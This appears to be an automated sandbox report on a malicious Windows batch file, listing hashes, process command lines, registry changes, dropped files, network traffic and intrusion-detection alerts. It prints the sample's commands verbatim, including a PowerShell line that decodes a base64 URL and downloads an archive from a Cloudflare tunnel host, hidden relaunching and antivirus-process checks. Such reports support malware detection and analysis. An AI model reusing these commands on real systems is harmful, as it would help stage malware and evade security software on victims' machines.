download: | /tink.bat |
Full analysis: | https://app.any.run/tasks/5a8a556e-aa8d-4227-8036-97ddbd387bf3 |
Verdict: | Malicious activity |
Analysis date: | April 15, 2025, 19:35:18 |
OS: | Windows 11 Professional (build: 22000, 64 bit) |
Indicators: | |
MIME: | text/plain |
File info: | Unicode text, UTF-16, little-endian text, with very long lines (19932), with no line terminators |
MD5: | 8BFC2E4C7EE611FC0F7B15006AF299AB |
SHA1: | F08195863426C9DAE4F1FC89014E9AE49AE576FD |
SHA256: | 759D6929E4456668A93D92B2AEA311D9B7590EBAB4A4DA3CD8602B8C0B8111D5 |
SSDEEP: | 192:pkq0gVnNPXmZ+cmNrhLOeL5jF8ya1A7L3RAP8OX+sdIT+PYCnJBh+8xP1qhVAgkU:l/ynWZI8nRnwnk9lnP |
.txt | | | Text - UTF-16 (LE) encoded (66.6) |
---|---|---|
.mp3 | | | MP3 audio (33.3) |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1104 | tasklist /FI "IMAGENAME eq avgui.exe" | C:\Windows\System32\tasklist.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Lists the current running tasks Exit code: 0 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1428 | \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1664 | C:\Windows\system32\svchost.exe -k NetworkService -p | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
2836 | find /i "AvastUI.exe" | C:\Windows\System32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 1 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
3512 | find /i "avgui.exe" | C:\Windows\System32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 1 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
3780 | powershell -Command "irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9kaXktc29sdXRpb24td2FycmlvcnMtd29ya2Zsb3cudHJ5Y2xvdWRmbGFyZS5jb20vYmFiLnppcA=='))) -OutFile 'C:\Users\admin\Downloads\downloaded.zip' -ErrorAction Stop" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
3884 | powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\admin\Desktop\tink.bat\" hidden' -WindowStyle Hidden" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
4012 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\Desktop\tink.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
4632 | powershell -Command "try { Expand-Archive -Path 'C:\Users\admin\Downloads\downloaded.zip' -DestinationPath 'C:\Users\admin\Downloads\Extracted' -Force } catch { exit 1 }" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
5176 | tasklist /FI "IMAGENAME eq AvastUI.exe" | C:\Windows\System32\tasklist.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Lists the current running tasks Exit code: 0 Version: 10.0.22000.1 (WinBuild.160101.0800) Modules
|
(PID) Process: | (3884) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
(PID) Process: | (3884) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | IntranetName |
Value: 1 | |||
(PID) Process: | (3884) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
(PID) Process: | (3884) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
3780 | powershell.exe | C:\Users\admin\Downloads\downloaded.zip | — | |
MD5:— | SHA256:— | |||
3884 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_41k331dy.xba.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3884 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_24e4almf.bra.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3884 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log | text | |
MD5:F9D7877A906C6918EF301B3CFFD301B4 | SHA256:91978D96C492ADF8923E5875DE675537E660E170DAB04E37A327EB0C3EC4654B | |||
4632 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_brojymcc.w3g.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3884 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:13EB55E4D5C81B5CDAE19252DE68189B | SHA256:971369347F0372BF10C2F7C0AB2E519987C1F5FC840E66FB8F2954FE360AEAFE | |||
3780 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ftyxwvdv.oec.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3780 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0rpowhez.qjt.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
4632 | powershell.exe | C:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_asyncio.pyd | executable | |
MD5:28D2A0405BE6DE3D168F28109030130C | SHA256:2DFCAEC25DE17BE21F91456256219578EAE9A7AEC5D21385DEC53D0840CF0B8D | |||
4632 | powershell.exe | C:\Users\admin\Downloads\Extracted\Python\Python312\DLLs\_elementtree.pyd | executable | |
MD5:B479ED301E990690A30FC855E6B45F94 | SHA256:0C488E6883A70CD54A71A9E28796F87EF6CC0D288260A965CBB24BF1D7309A20 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 88.221.110.147:80 | http://www.msftconnecttest.com/connecttest.txt | unknown | — | — | whitelisted |
3640 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4976 | MoUsoCoreWorker.exe | GET | 200 | 208.89.74.31:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2e16a064e6a93291 | unknown | — | — | whitelisted |
5136 | smartscreen.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
2768 | svchost.exe | GET | 200 | 199.232.210.172:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?27a1f3f9d6f21f74 | unknown | — | — | whitelisted |
2768 | svchost.exe | GET | 200 | 199.232.210.172:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?1ba2c49461210cde | unknown | — | — | whitelisted |
2768 | svchost.exe | GET | 200 | 199.232.210.172:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?406ec4d9673749fb | unknown | — | — | whitelisted |
2988 | OfficeClickToRun.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D | unknown | — | — | whitelisted |
1848 | svchost.exe | POST | 403 | 95.100.186.9:80 | http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409 | unknown | — | — | whitelisted |
1848 | svchost.exe | POST | 403 | 95.100.186.9:80 | http://go.microsoft.com/fwlink/?LinkID=252669&clcid=0x409 | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 88.221.110.147:80 | — | Akamai International B.V. | DE | unknown |
4976 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4976 | MoUsoCoreWorker.exe | 208.89.74.31:80 | ctldl.windowsupdate.com | — | US | whitelisted |
3640 | svchost.exe | 20.190.160.17:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3640 | svchost.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
5136 | smartscreen.exe | 48.209.144.71:443 | checkappexec.microsoft.com | — | US | whitelisted |
5136 | smartscreen.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
3780 | powershell.exe | 104.16.231.132:443 | diy-solution-warriors-workflow.trycloudflare.com | CLOUDFLARENET | — | whitelisted |
3952 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
1272 | svchost.exe | 23.197.142.186:443 | fs.microsoft.com | Akamai International B.V. | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
ctldl.windowsupdate.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
checkappexec.microsoft.com |
| whitelisted |
diy-solution-warriors-workflow.trycloudflare.com |
| whitelisted |
fs.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
officeclient.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Misc activity | ET INFO Microsoft Connection Test |
— | — | Potentially Bad Traffic | ET INFO Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com) |
— | — | Potentially Bad Traffic | SUSPICIOUS [ANY.RUN] Cloudflare Tunnel (TryCloudflare) |
— | — | Misc activity | ET HUNTING TryCloudFlare Domain in TLS SNI |
— | — | Misc activity | ET INFO Observed trycloudflare .com Domain in TLS SNI |